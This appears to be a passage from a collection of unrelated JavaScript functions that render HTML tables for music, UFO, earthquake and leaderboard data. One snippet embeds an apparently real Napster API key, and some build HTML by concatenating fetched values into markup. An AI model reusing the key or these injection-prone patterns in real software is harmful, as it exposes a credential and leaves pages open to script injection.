\"-cur\";\n\t\ty = document.createElement(\"SPAN\");\n\t\ty.id = v + \"-spark\";\n\t\ty.style.float = \"right\";\n\t\ty.style.width = \"50%\";\n\t\ttd.appendChild(y);\n\t\ttd.appendChild(x);\n\t\t\n\t\ttd = tr.insertCell(2);\n\t\tx = document.createElement(\"div\");\n\t\tx.id = v + \"-diff\";\n\t\ty = document.createElement(\"SPAN\");\n\t\ty.id = v + \"-spark2\";\n\t\ty.style.float = \"right\";\n\t\ty.style.width = \"50%\";\n\t\ttd.appendChild(y);\n\t\ttd.appendChild(x);\n\t\ttd = tr.insertCell(3);\n\t\ttd.id = v + \"-avg\";\n\t\ttd = tr.insertCell(4);\n\t\ttd.id = v + \"-avg10\";\n\t\ttd = tr.insertCell(5);\n\t\ttd.id = v + \"-avg100\";\n\t\ttd = tr.insertCell(6);\n\t\ttd.id = v + \"-avg1000\";\n\t\ttd = tr.insertCell(7);\n\t\ttd.id = v + \"-sdec\";\n\t\ttd.textContent = vdata[0][origv]['description'];\n\t}\n\tel.appendChild(table);\n\tupdateTable();\n}", "function getTitle (data) {\n\n document.getElementById(\"song-title-one\").innerText = data.data[0].title;\n document.getElementById(\"album-name-one\").innerText = data.data[0].album.title;\n document.getElementById(\"author-name-one\").innerText = data.data[0].artist.name;\n\n document.getElementById(\"song-title-two\").innerText = data.data[1].title;\n document.getElementById(\"album-name-two\").innerText = data.data[1].album.title;\n document.getElementById(\"author-name-two\").innerText = data.data[1].artist.name;\n\n document.getElementById(\"song-title-three\").innerText = data.data[2].title;\n document.getElementById(\"album-name-three\").innerText = data.data[2].album.title;\n document.getElementById(\"author-name-three\").innerText = data.data[2].artist.name;\n\n document.getElementById(\"song-title-four\").innerText = data.data[3].title;\n document.getElementById(\"album-name-four\").innerText = data.data[3].album.title; \n document.getElementById(\"author-name-four\").innerText = data.data[3].artist.name;\n\n document.getElementById(\"song-title-five\").innerText = data.data[4].title;\n document.getElementById(\"album-name-five\").innerText = data.data[4].album.title;\n document.getElementById(\"author-name-five\").innerText = data.data[4].artist.name;\n\n document.getElementById(\"song-title-six\").innerText = data.data[5].title;\n document.getElementById(\"album-name-six\").innerText = data.data[5].album.title;\n document.getElementById(\"author-name-six\").innerText = data.data[5].artist.name;\n\n document.getElementById(\"song-title-seven\").innerText = data.data[6].title;\n document.getElementById(\"album-name-seven\").innerText = data.data[6].album.title;\n document.getElementById(\"author-name-seven\").innerText = data.data[6].artist.name;\n\n document.getElementById(\"song-title-eight\").innerText = data.data[7].title;\n document.getElementById(\"album-name-eight\").innerText = data.data[7].album.title;\n document.getElementById(\"author-name-eight\").innerText = data.data[7].artist.name;\n\n document.getElementById(\"song-title-nine\").innerText = data.data[8].title;\n document.getElementById(\"album-name-nine\").innerText = data.data[8].album.title;\n document.getElementById(\"author-name-nine\").innerText = data.data[8].artist.name;\n\n document.getElementById(\"song-title-ten\").innerText = data.data[9].title;\n document.getElementById(\"album-name-ten\").innerText = data.data[9].album.title;\n document.getElementById(\"author-name-ten\").innerText = data.data[9].artist.name;\n\n}", "function makeTable() {\n var tableTT = d3.select(\"#tooltipTT\").selectAll(\"g\");\n var titles = d3.select(\"#tooltipTT\").selectAll(\"title\").data;\n //var row_info = d3.select(\"#tooltipTT\").selectAll(\"cubeInfo\");\n console.log(\"Made the table: sanity check :)\")\n\n }", "function genTrackRow(track_obj) {\r\n\tif (track_obj == undefined) {\r\n\t\treturn;\r\n\t}\r\n\tvar artwork_url = track_obj['artwork_url'];\r\n\t\r\n\t// Default artwork photo\r\n\tif (artwork_url == null) {\r\n\t\tartwork_url = \"https://i1.sndcdn.com/avatars-000131869186-my9qya-large.jpg\"\r\n\t}\r\n\t\r\n\t// New table row\r\n\tvar newDom = $('<tr>')\r\n\t\t.append($('<td>').append($('<img>').attr('src', artwork_url)))\r\n\t\t.append($('<td>').append($('<a>').attr({'href': track_obj['permalink_url'], 'target' :'_blank'}).text(track_obj['title'])))\r\n\t\t.append($('<td>').append($('<a>').attr({'href': track_obj['user']['permalink_url'], 'target': '_blank'}).text(track_obj['user']['username'])))\r\n\t\t.append($('<td>').append($('<button>').addClass('btn btn-default btn-play').attr('type', 'submit')\r\n\t\t\t.append($('<i>').addClass('fa fa-play')).click(function() {\r\n\t\t\t\tchangeTrack(track_obj['permalink_url']);\r\n\t\t\t})))\r\n\t\t.append($('<td>').append($('<button>').addClass('btn btn-default btn-add').attr('type', 'submit')\r\n\t\t\t.append($('<i>').addClass('fa fa-plus')).click(function() {\r\n\t\t\t\taddToPlaylist(track_obj);\r\n\t\t})));\r\n\treturn newDom;\r\n}", "function createTable(thisMode) {\n\t\t//console.log(\"And the mode is: \" + thisMode);\n\n\t\tplayerIndex = 0;\n\n\t\t// This function creates a new row for every one of the items on the Firebase\n\t\tfunction buildRows(orderText) {\n\t\t\t// Creating the table body\n\t\t\tvar newTBody = $(\"<tbody>\");\n\n\t\t\t// Open the elements on the THISMODE collection and bring items ordered by ORDERTEXT\n\t\t\tdb.collection(thisMode)\n\t\t\t\t.orderBy(orderText)\n\t\t\t\t.get()\n\t\t\t\t.then((snapshot) => {\n\t\t\t\t\t// Do this for every element in the collection\n\t\t\t\t\tsnapshot.docs.forEach((doc) => {\n\t\t\t\t\t\t// Do this ONLY for the number of entries defined by LEADERTALLY\n\t\t\t\t\t\tif (playerIndex < leaderTally) {\n\t\t\t\t\t\t\t// Increment iteration index\n\t\t\t\t\t\t\tplayerIndex++;\n\n\t\t\t\t\t\t\t// Creating new row\n\t\t\t\t\t\t\tvar newTrHead = $(\"<tr>\").appendTo(newTBody);\n\n\t\t\t\t\t\t\t// Creating entry for the player's ranking\n\t\t\t\t\t\t\tvar newTd = $(\"<td>\").text(playerIndex).appendTo(newTrHead);\n\n\t\t\t\t\t\t\t// Creating entry for the player's name\n\t\t\t\t\t\t\tnewTd = $(\"<td>\").text(doc.data().name).appendTo(newTrHead);\n\n\t\t\t\t\t\t\t// Creating entry for the player's country flag\n\t\t\t\t\t\t\tnewTdimg = $(\"<td>\").appendTo(newTrHead);\n\n\t\t\t\t\t\t\t// Creating image tag for the flag\n\t\t\t\t\t\t\tvar newImg = $(\"<img>\")\n\t\t\t\t\t\t\t\t.attr(\"src\", doc.data().flag)\n\t\t\t\t\t\t\t\t.attr(\"id\", \"flag\")\n\t\t\t\t\t\t\t\t.appendTo(newTdimg);\n\n\t\t\t\t\t\t\tswitch (thisMode) {\n\t\t\t\t\t\t\t\tcase \"easy\":\n\t\t\t\t\t\t\t\t\t// Creating entry for the player's number of tries\n\t\t\t\t\t\t\t\t\tnewTd = $(\"<td>\").text(doc.data().tries).appendTo(newTrHead);\n\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\tcase \"timed\":\n\t\t\t\t\t\t\t\t\t// Creating entry for the player's number of tries\n\t\t\t\t\t\t\t\t\tnewTd = $(\"<td>\").text(doc.data().tries).appendTo(newTrHead);\n\n\t\t\t\t\t\t\t\t\t// Creating entry for the player's overall timed used\n\t\t\t\t\t\t\t\t\tnewTd = $(\"<td>\")\n\t\t\t\t\t\t\t\t\t\t.text(doc.data().overallTime)\n\t\t\t\t\t\t\t\t\t\t.appendTo(newTrHead);\n\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\tcase \"challenge\":\n\t\t\t\t\t\t\t\t\t// Creating entry for the player's max level\n\t\t\t\t\t\t\t\t\tnewTd = $(\"<td>\").text(doc.data().level).appendTo(newTrHead);\n\n\t\t\t\t\t\t\t\t\t// Creating entry for the player's overall timed used\n\t\t\t\t\t\t\t\t\tnewTd = $(\"<td>\")\n\t\t\t\t\t\t\t\t\t\t.text(doc.data().overallTime)\n\t\t\t\t\t\t\t\t\t\t.appendTo(newTrHead);\n\n\t\t\t\t\t\t\t\t\t// Creating entry for the player's overall tries\n\t\t\t\t\t\t\t\t\tnewTd = $(\"<td>\")\n\t\t\t\t\t\t\t\t\t\t.text(doc.data().overallTries)\n\t\t\t\t\t\t\t\t\t\t.appendTo(newTrHead);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t});\n\n\t\t\t// Return the reows with data\n\t\t\treturn newTBody;\n\t\t}\n\n\t\t// Clear the previous table\n\t\t$(\"#leaderBody\").html(\"\");\n\n\t\t// Creating the table structure\n\t\tvar newTable = $(\"<table>\")\n\t\t\t.addClass(\"table table-dark\")\n\t\t\t.attr(\"id\", \"leaderboard-table\")\n\t\t\t.appendTo($(\"#leaderBody\"));\n\n\t\t// Creating the table heather\n\t\tvar newTHead = $(\"<thead>\").appendTo(newTable);\n\n\t\t// Creating new row\n\t\tvar newTrHead = $(\"<tr>\").appendTo(newTHead);\n\n\t\t// Creating column heather for ranking\n\t\tvar newTh = $(\"<th>\").attr(\"scope\", \"col\").text(\"#\").appendTo(newTrHead);\n\n\t\t// Creating column heather for username\n\t\tnewTh = $(\"<th>\").attr(\"scope\", \"col\").text(\"Username\").appendTo(newTrHead);\n\n\t\t// Creating column heather for country flag\n\t\tnewTh = $(\"<th>\").attr(\"scope\", \"col\").text(\"Country\").appendTo(newTrHead);\n\n\t\tswitch (thisMode) {\n\t\t\tcase \"easy\":\n\t\t\t\t// Creating column heather for tries\n\t\t\t\tnewTh = $(\"<th>\")\n\t\t\t\t\t.attr(\"scope\", \"col\")\n\t\t\t\t\t.text(\"Tries\")\n\t\t\t\t\t.appendTo(newTrHead);\n\n\t\t\t\t// Call function to build the rows... sorting by 'tries'\n\t\t\t\tvar newLines = buildRows(\"tries\").appendTo(newTable);\n\t\t\t\tbreak;\n\n\t\t\tcase \"timed\":\n\t\t\t\t// Creating column heather for tries\n\t\t\t\tnewTh = $(\"<th>\")\n\t\t\t\t\t.attr(\"scope\", \"col\")\n\t\t\t\t\t.text(\"Tries\")\n\t\t\t\t\t.appendTo(newTrHead);\n\n\t\t\t\t// Creating column heather for tries\n\t\t\t\tnewTh = $(\"<th>\").attr(\"scope\", \"col\").text(\"Time\").appendTo(newTrHead);\n\n\t\t\t\t// Call function to build the rows... sorting by 'overallTime'\n\t\t\t\tvar newLines = buildRows(\"overallTime\").appendTo(newTable);\n\t\t\t\tbreak;\n\n\t\t\tcase \"challenge\":\n\t\t\t\t// Creating column heather for tries\n\t\t\t\tnewTh = $(\"<th>\")\n\t\t\t\t\t.attr(\"scope\", \"col\")\n\t\t\t\t\t.text(\"Level\")\n\t\t\t\t\t.appendTo(newTrHead);\n\n\t\t\t\t// Creating column heather for tries\n\t\t\t\tnewTh = $(\"<th>\")\n\t\t\t\t\t.attr(\"scope\", \"col\")\n\t\t\t\t\t.text(\"Tries\")\n\t\t\t\t\t.appendTo(newTrHead);\n\n\t\t\t\t// Creating column heather for tries\n\t\t\t\tnewTh = $(\"<th>\").attr(\"scope\", \"col\").text(\"Time\").appendTo(newTrHead);\n\n\t\t\t\t// Call function to build the rows... sorting by 'level'\n\t\t\t\tvar newLines = buildRows(\"level\").appendTo(newTable);\n\t\t\t\tbreak;\n\t\t}\n\t}", "function buildTable(tables){\n var table = d3.select(\"#ufo-table\");\n var tbody = table.select(\"tbody\");\n var trow;\n for (var i = 0; i < tables.length; i++) {\n trow = tbody.append(\"tr\");\n trow.append(\"td\").text(tables[i].datetime);\n trow.append(\"td\").text(tables[i].city);\n trow.append(\"td\").text(tables[i].state);\n trow.append(\"td\").text(tables[i].country);\n trow.append(\"td\").text(tables[i].shape);\n trow.append(\"td\").text(tables[i].durationMinutes);\n trow.append(\"td\").text(tables[i].comments);\n }\n\n}", "function fillEventsTable()\n{\n\tviewSort(\"eventActions\");\n\t// Get the (existing) table\n\t\n\tvar table = document.getElementById(\"eventsTable\");\n\t\t\n\t// Add a row for each item\n\tfor (var i = 0; i < events.length; i++) {\n\t\t\t// New row\n\t\t\tvar tr = document.createElement(\"tr\");\n\n\t\t\t// Left hand cell, containing image\n\t\t\tvar td1 = document.createElement(\"td\");\n\t\t\tvar img = document.createElement(\"img\");\n\t\t\timg.setAttribute(\"src\", events[i].imgUrl[events[i].imgUrl.length-1].innerHTML);\n\n\t\t\ttd1.appendChild(img);\n\n\t\t\t// Right hand cell, containing item details\n\t\t\tvar td2 = document.createElement(\"td\");\n\t\t\n\t\t\t// Title\n\t\t\tvar divTitle = document.createElement(\"div\");\n\t\t\tvar link = document.createElement(\"a\");\t\n\t\t\tlink.setAttribute(\"href\", events[i].url.innerHTML);\n\n\t\t\tlink.innerHTML = events[i].title.innerHTML;\n\t\t\tdivTitle.appendChild(link);\n\t\t\ttd2.appendChild(divTitle);\n\n\t\t\t//artist details\n\t\t\tvar divArtist = document.createElement(\"div\");\n\t\t\tvar divHeadline = document.createElement(\"div\");\n\t\t\tvar divArtistList = document.createElement(\"div\");\n\n\t\t\tvar artistArray = events[i].artists.children;\n\t\t\tvar artistList = \"<b>Line-up: </b>\" + artistArray[0].innerHTML;\n\n\t\t\tfor (var j = 1; j < artistArray.length-1; j++)\n\t\t\t{\n\t\t\t\tartistList = artistList + \", \" + artistArray[j].innerHTML;\n\t\t\t}\n\n\t\t\tvar headliner = \"<b> Headline Artist: \" + artistArray[j].innerHTML + \"</b>\";\n\t\t\tdivHeadline.innerHTML = headliner;\n\t\t\tdivArtistList.innerHTML = artistList;\n\t\t\tdivArtist.appendChild(divHeadline);\n\t\t\tdivArtist.appendChild(divArtistList);\n\t\t\ttd2.appendChild(divArtist);\n\n\t\t\t//event date\n\t\t\tvar divDate = document.createElement(\"div\");\n\t\t\tdivDate.innerHTML = \"<b>Start Date: </b>\" + events[i].startDate.innerHTML;\n\t\t\ttd2.appendChild(divDate);\n\t\t\t\n\t\t\t//tags\n\t\t\tvar divTags = document.createElement(\"div\");\n\t\t\tdivTags.innerHTML = \"<b> Tags: </b>\";\n\t\t\tvar tagArray = events[i].tags.children\n\t\t\n\t\t\tvar tag = document.createElement(\"tag\");\n\t\t\t\ttag.innerHTML = tagArray[0].innerHTML;\n\t\t\t\tdivTags.appendChild(tag);\n\n\t\t\tfor (var j = 1; j < tagArray.length-1; j++)\n\t\t\t{\n\t\t\t\tvar tag = document.createElement(\"tag\");\n\t\t\t\ttag.innerHTML = \", \" +tagArray[j].innerHTML;\n\t\t\t\tdivTags.appendChild(tag);\n\t\t\t}\n\t\t\t\t\n\t\t\ttd2.appendChild(divTags);\n\n\t\t\t//add to table\n\t\t\ttr.appendChild(td1);\n\t\t\ttr.appendChild(td2);\n\t\t\ttable.appendChild(tr);\n\t}\n\n}", "function BuildTable(data, State) {\n\tconst tBody = $(\".Information_Display #Stats_Table\");\n\t$(tBody).empty();\n\n\tif (State == true)\n\t{\n\t\tdata = JSON.parse(data);\n\t\t$.each(data, function (key, item) {\n\n\t\t\tif (typeof item == 'object') {\n\t\t\t\tvar tr = $(\"<tr></tr>\").append($(\"<td></td>\").text(key + \": \")).append($(\"<td></td>\"));\n\t\t\t\ttBody.append(tr)\n\t\t\t\t$.each(item, function (Secondkey, Seconditem) {\n\t\t\t\t\ttr = $(\"<tr></tr>\");\n\t\t\t\t\tif (typeof Seconditem == 'object') {\n\t\t\t\t\t\tif (Secondkey != \"history\") {\n\t\t\t\t\t\t\ttr.append($(\"<td></td>\")).append($(\"<td></td>\").text(Secondkey + \": \"))\n\t\t\t\t\t\t\ttBody.append(tr);\n\t\t\t\t\t\t\t$.each(Seconditem, function (Thirdkey, Thirditem) {\n\t\t\t\t\t\t\t\ttr = $(\"<tr></tr>\")\n\t\t\t\t\t\t\t\ttr.append($(\"<td></td>\")).append($(\"<td></td>\")).append($(\"<td></td>\").text(Thirdkey + \": \"))\n\t\t\t\t\t\t\t\t\t.append($(\"<td></td>\").text(Thirditem))\n\t\t\t\t\t\t\t\ttBody.append(tr);\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\ttr.append($(\"<td></td>\")).append($(\"<td></td>\").text(Secondkey + \": \"))\n\t\t\t\t\t\t\t.append($(\"<td></td>\").text(Seconditem));\n\t\t\t\t\t\ttBody.append(tr);\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t\telse {\n\t\t\t\tvar tr = $(\"<tr></tr>\").append($(\"<td></td>\").text(key + \": \")).append($(\"<td></td>\").text(item));\n\t\t\t\ttBody.append(tr)\n\t\t\t}\n\t\t});\n\n\t}\n\telse\n\t{\n\t\tvar tr = $(\"<tr></tr>\")\n\t\t\t.append($(\"<td></td>\"))\n\t\t\t.append($(\"<h1></h1>\").text(data));\n\t\ttBody.append(tr)\n\t}\n}", "function songQuery(queryURL) {\n\tvar artistSearch = $(\"#artist-input\").val().trim();\n\tconsole.log(artistSearch);\n\n\tvar songSearch = $(\"#song-input\").val().trim();\n\tconsole.log(songSearch);\n\n\n\t\t$.ajax({\n\t\t url: queryURL,\n\t\t method: \"GET\",\n\t\t data: {\n\t\t \tq_artist: artistSearch,\n\t\t \tq: songSearch\n\t\t }\n\t\t }).done(function(mmData) {\n\n\t \tvar results = JSON.parse(mmData).message.body.track_list;\n\t \tconsole.log(results);\n\n\t \tvar table = $(\"<table class='results-table'>\");\n\t \t\n\t \t$(\".results\").append(table);\n\n\t \t$(\".results-table > thead\").append(\n\t \t\t\"<tr><th>\" + \"Artist\" + \"</th><th>\" + \"Song\" + \"</th><th>\" + \"Album\" + \"</th><th>\" + \"Link to Lyrics\" + \"</th><th><i class='fa fa-window-close exitBtn' aria-hidden='true'></i></th></tr>\");\n\n\t \t// loop through array to display 5 results in a table with checkboxes\t\n \tfor (var i = 0; i < results.length; i++) {\n \t\tvar artistRes = results[i].track.artist_name;\n \t\tconsole.log(artistRes);\n\n \t\tvar songRes = results[i].track.track_name;\n \t\tconsole.log(songRes);\n\n \t\tvar albumRes = results[i].track.album_name;\n \t\tconsole.log(albumRes);\n\n \t\tvar lyricsLink = results[i].track.track_share_url;\n\n \t\t// append to our table of trains, inside the tbody, with a new row of the train data\n \t\t\t$(\".results-table > tbody\").append(\n \t\t\t\t\"<tr><td>\" + artistRes + \"</td><td>\" + songRes + \"</td><td>\" + albumRes + \"</td><td><a href=\" + lyricsLink + \" target='_blank'>Sing it!</a></td></tr>\");\n\n \t\n \t};\t// end of for loop\n });\t // ajax call\n}", "function renderSongPlaylist(SongPlaylist) {\n\n const newRow = document.createElement(\"tr\");\n//function to create new song in row\n const newArtistName = document.createElement(\"td\");\n console.log(SongPlaylist.id);\n newArtistName.innerText = SongPlaylist.artistName\n newRow.appendChild(newArtistName)\n\n const newSongName = document.createElement(\"td\");\n newSongName.innerText = SongPlaylist.songName \n newRow.appendChild(newSongName);\n//edit button and click to call function \n const actions = document.createElement(\"td\");\n const edit = document.createElement(\"button\");\n edit.className = \"edit\"\n edit.title = \"Edit\"\n edit.innerText = \"Edit\"; \n edit.addEventListener('click', function() { \n currentId = SongPlaylist.id;\n updateTable(SongPlaylist.id);\n console.log(SongPlaylist.id);\n });\n actions.appendChild(edit);\n newRow.appendChild(actions);\n//delete button and click to call function\n const remove = document.createElement(\"button\");\n remove.className = \"delete\"\n remove.title = \"Remove\"\n remove.innerText = \"Remove\"; \n remove.addEventListener('click', function() {\n deleteSongPlaylist(SongPlaylist.id);\n });\n actions.appendChild(remove);\n newRow.appendChild(actions);\n\nreturn newRow; }", "function buildTable(stocks, meta_definitions, future_dates) {\n if (stocks.length) {\n var rows = buildRows(stocks, meta_definitions, future_dates);\n return (React.createElement(\"div\", {className: \"table-responsive\"}, React.createElement(\"table\", {className: \"table table-striped table-hover table-bordered table-condensed\"}, buildThead(meta_definitions, future_dates), rows)));\n }\n}", "function getMusicList(playlist) {\n \n var sendUrl = 'get_music.php';\n if (playlist !== '') {\n sendUrl += '?playlist=' + encodeURIComponent(playlist);\n }\n \n var xhr = new XMLHttpRequest();\n \n xhr.onreadystatechange = function () {\n if (xhr.readyState === 4 && (xhr.status === 200 || xhr.status === 0)) {\n // Get response text in json and populate\n console.log(xhr.responseText);\n populateMusicTable(xhr.responseText);\n addPlayButtonsToTable();\n if (player.src !== '') {\n setSelected(player.getAttribute('src'));\n }\n $('#music_list_table').dataTable({\n 'dom': '<\"col-md-10\"lfrtip>'\n });\n getPlaylistFilters();\n }\n };\n \n xhr.open('GET', sendUrl, true);\n xhr.send(null);\n}", "function buildTable(data) {\n\n //Clear any existing table\n tbody.html(\"\");\n\n //Iterate through the data to create all necessary rows\n data.forEach((dataRow) => {\n var row = tbody.append(\"tr\");\n Object.entries(dataRow).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n});\n}", "function maketable(){\r\n\t\t$('#historical_table').append($('<tbody/>'));\r\n\t\tvar j = 1;\r\n\t\tfor (var i = (current_page-1)*7; i < (current_page-1)*7+7; i++) {\r\n\t\t\tvar r = $('<tr/>');\r\n\t\t\t//this list for multiple marker\r\n\t\t\tearth_list.push([array.features[i].properties.place, array.features[i].geometry.coordinates[1], array.features[i].geometry.coordinates[0]]);\r\n\t\t\tfor (var Index = 0; Index < 3; Index++) {\r\n\t\t\t\t//date\r\n\t\t\t\tif(Index == 0){\r\n\t\t\t\t\tvar value = array.features[i].properties.time;\r\n\t\t\t\t\td = new Date(value); // the date since the epoch (1 January, 1970)\r\n\t\t\t\t\tvalue = d.toLocaleString(); \r\n\t\t\t\t}\r\n\t\t\t\t//location\r\n\t\t\t\tif(Index == 1){\r\n\t\t\t\t\tvar value = array.features[i].properties.place;\r\n\t\t\t\t}\r\n\t\t\t\t//magnitude\r\n\t\t\t\tif(Index == 2){\r\n\t\t\t\t\tvar value = array.features[i].properties.mag;\t\r\n\t\t\t\t}\r\n\t\t\t\tif (value == null) {\r\n\t\t\t\t\tvalue = \"\";\r\n\t\t\t\t}\r\n\t\t\t\tr.append($('<td/>').html(value));\r\n\t\t\t\tr.attr(\"id\", i);\r\n\t\t\t\tr.attr(\"data-target\", \"#Modal\");\r\n\t\t\t\tr.attr(\"data-toggle\", \"modal\" );\r\n\t\t\t\t$('#historical_table').append(r);\r\n\t\t\t\t//add click event to every data\r\n\t\t\t\t$(\"tbody > tr\").click(function () {\r\n\t\t\t\t\tvar clicked = $(this).attr(\"id\");\r\n\t\t\t\t\tlat = array.features[clicked].geometry.coordinates[1];\r\n\t\t\t\t\tlng = array.features[clicked].geometry.coordinates[0];\r\n\t\t\t\t\t$(\"#type\").html(\"Type: \" + array.features[clicked].properties.type);\r\n\t\t\t\t\t$(\"#location\").html(\"Location: \" + array.features[clicked].properties.place);\r\n\t\t\t\t\t$(\"#depth\").html(\"Depth of earthquake: \" + array.features[clicked].geometry.coordinates[1]);\r\n\t\t\t\t\t$(\"#link\").html(array.features[clicked].properties.url);\r\n\t\t\t\t\t$(\"#link\").attr(\"href\", array.features[clicked].properties.url);\r\n\t\t\t\t\tvar visibile = array.features[clicked].properties.status;\r\n\t\t\t\t\tif(visibile != \"reviewed\"){\r\n\t\t\t\t\t\t$(\"#automatic\").css(\"visibility\", \"visible\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse{\r\n\t\t\t\t\t\t$(\"#reviewed\").css(\"visibility\", \"visible\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$(\"#fire\").attr(\"title\", array.features[clicked].properties.sig);\r\n\t\t\t\t\tinitialize();\r\n\t\t\t\t});\r\n\t\t\t}\r\n\t\t}\r\n\t\tinitialize_map()\r\n\t\t$(\"#pagination\").css(\"display\", \"inline\"); \r\n\t\t$(\"tbody\").attr(\"id\", \"list_body\");\r\n\t}", "function buildTable() {\n return {\n columns: [{\n value: 'mois'\n }, {\n value: 'trimestres'\n }, {\n value: 'année'\n },{\n value: '3 ans '\n },{\n value: '5 ans'\n }],\n rows: [ {\n cells: [{\n value: 'Je vous propose '\n }, {\n value: 'de rectrutter Mahdi '\n }, {\n value: 'car cest un bon '\n }, {\n value: 'developpeur qui '\n },{\n value: 'maitrise AngularJs'\n }]\n }, {\n cells: [{\n value: 'la cellule suivante'\n }, {\n value: 'a été définie null'\n }, {\n value: null\n }, {\n value: 'car ne contient'\n }, {\n value: 'pas de contenu'\n }]\n }]\n };\n }", "function buildTable(data) {\n // Clear existing data in table\n tbody.html(\"\");\n // Create forEach function to loop through the table\n data.forEach((dataRow) => {\n // Create a variable to add a row to the table\n let row = tbody.append(\"tr\");\n // Reference an object from the array of UFO sightings and put each sighting in its own row of data\n Object.values(dataRow).forEach((val) => {\n // Create a variable to add data to the row\n let cell = row.append(\"td\");\n // Add values \n cell.text(val);\n });\n });\n}", "function makeCoffeeTable() {\n createTableTitle('Beans Needed By Location Each Day');\n createTable('coffeeTable'); //create empty table\n createHeaderRow('coffeeTable', 'Daily Location Total'); //create header row\n for (var index in allStores) {\n createCoffeeRow('coffeeTable', allStores[index]);\n }\n createCoffeeTotalsRow(); //create coffee table totals row\n}", "function renderSongInfo(data) {\n $(\".userSongDiv\").html(`<div><span class=\"songChoice\">${songName.toUpperCase()}</span><span class=artistChoice> by ${artistName}</span></div>`);\n var songDiv = $(\"<div>\");\n songDiv.addClass(\"row songDiv\");\n var songInfoDiv = $(\"<div>\");\n songInfoDiv.addClass(\"col s4 songInfoDiv\");\n var lyricsDiv = $(\"<div>\");\n lyricsDiv.addClass(\"col s3 lyricsDiv\");\n var songPreviewDiv = $(\"<div>\");\n songPreviewDiv.addClass(\"col s3 songPreviewDiv\");\n var songData = $(\"<p>\");\n var artistData = $(\"<p>\");\n var albumData = $(\"<p>\");\n songData.addClass(\"songData\");\n artistData.addClass(\"artistData\");\n albumData.addClass(\"albumData\");\n var lyricsBtn = $(\"<button>\");\n lyricsBtn.addClass(\"btn modal-trigger waves-effect waves-light lyricsBtn\");\n lyricsBtn.attr(\"data-song\", data.tracks[0].name);\n lyricsBtn.attr(\"data-artist\", data.tracks[0].artistName);\n lyricsBtn.attr(\"data-target\", \"modal1\");\n var songPreview = $(\"<audio>\");\n songPreview.attr(\"controls\", \"controls\");\n var songSource = $(\"<source>\");\n songSource.attr(\"src\", data.tracks[0].previewURL);\n songSource.attr(\"type\", \"audio/mp3\");\n songData.text(data.tracks[0].name.toUpperCase());\n artistData.text(`Artist: ${data.tracks[0].artistName}`);\n albumData.text(`Album: ${data.tracks[0].albumName}`);\n lyricsBtn.text(\"Lyrics\");\n songInfoDiv.append(songData);\n songInfoDiv.append(artistData);\n songInfoDiv.append(albumData);\n lyricsDiv.append(lyricsBtn);\n songPreview.append(songSource);\n songPreviewDiv.append(songPreview);\n songDiv.append(songInfoDiv);\n songDiv.append(lyricsDiv);\n songDiv.append(songPreviewDiv);\n\n var albumID = data.tracks[0].albumId;\n var apiKey = \"ZmJjMTczNmQtZjM2Yy00ZDI4LWJmOGYtZTE4MDRhNjQyZGMw\";\n var queryURL = `https://api.napster.com/v2.2/albums/${albumID}/images?apikey=${apiKey}`;\n\n $.ajax({\n url: queryURL,\n method: \"GET\",\n }).then(function (data) {\n var albumImg = $(\"<img>\");\n albumImg.addClass(\"col s2 albumImg\");\n\n if (data.images.length) {\n albumImg.attr(\"src\", data.images[data.images.length - 1].url);\n } else {\n albumImg.attr(\"src\", \"assets/pics/placeholder.png\");\n }\n\n songDiv.prepend(albumImg);\n $(\".songInfo\").append(songDiv);\n });\n }", "constructor(props) {\n super(props)\n\n tableData = []\n firstColumnData = []\n\n /* build the lines for each player */\n for (var h in props.players) {\n\n playerAverages = getAverageStats(props.players[h].Stats)\n\n statsToDisplay = ['MPG', 'PPG', '2PFG', '3PFG', 'FT', 'RPG', 'APG', 'TPG', 'SPG', 'BPG']\n\n playerLine = [props.players[h].Stats.GameCount]\n\n for (var i in statsToDisplay) {\n playerLine.push(playerAverages[statsToDisplay[i]])\n }\n\n\n /* we want career data last */\n tableData.push(playerLine)\n firstColumnData.push([props.players[h].Player.Name])\n }\n\n /* lets build the table header */\n tableHead = ['GP']\n for (var i in statsToDisplay) {\n tableHead.push(statsToDisplay[i])\n }\n widthArr = new Array(tableHead.length).fill(50)\n }", "function buildBottomTable( ownPlaceholder )\n {\n var JSONrecords = nheap.content_data\n [ \"final-doc-info.txt\" ]\n [ \"final_info\" ];\n\n var clmNames = [ \"Widget Name\", \"Description\", \"Comments / Exclusions\" ];\n var keyNames = [ \"widget_name\", \"description\",\"comments_exclusions\" ];\n var columnsMeta = keyNames.map( (kn,kix) => {\n var mt = {};\n mt[kn] = { caption:clmNames[kix] };\n return mt;\n });\n\n methods.tableTpl_2_content({\n contentPlaceholderToAttach : ownPlaceholder,\n table : JSONrecords,\n caption : \"\",\n cellPaddingTop : 1,\n cellPaddingBottom : 1,\n cellFontSize:7,\n widthPercent: 85,\n margin : [0, 0, 0, 0], //above caption\n firstCellIncrease : 23, //%\n captionFontSize : 12,\n captionBold : true,\n columns : columnsMeta\n });\n }", "function buildTable(data) {\n var headers = Object.keys(data[0]);\n var table = document.createElement(\"TABLE\");\n var row = document.createElement(\"TR\");\n headers.forEach(function(column){\n var cellH = document.createElement(\"TH\");\n var textItem = document.createTextNode(column);\n cellH.appendChild(textItem);\n row.appendChild(cellH);\n });\n table.appendChild(row); \n \n data.forEach(function(item){\n var row = document.createElement(\"TR\");\n headers.forEach(function(header){\n var cell = document.createElement(\"TD\");\n var textItem = document.createTextNode(item[header]);\n cell.appendChild(textItem); //to right align numeric values\n if(!isNaN(item[header]))\n cell.style.textAlign = \"right\";\n row.appendChild(cell);\n });\n table.appendChild(row);\n }); \n return table;\n }", "function buildTable(tableData){\n tbody.html(\"\");\n\n //Loop thru the data to add to add it to HTML wit the arrow function\n tableData.forEach(alienData => {\n var row = tbody.append(\"tr\");\n Object.entries(alienData).forEach(([key,value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n\n });\n}", "function loadMixer() 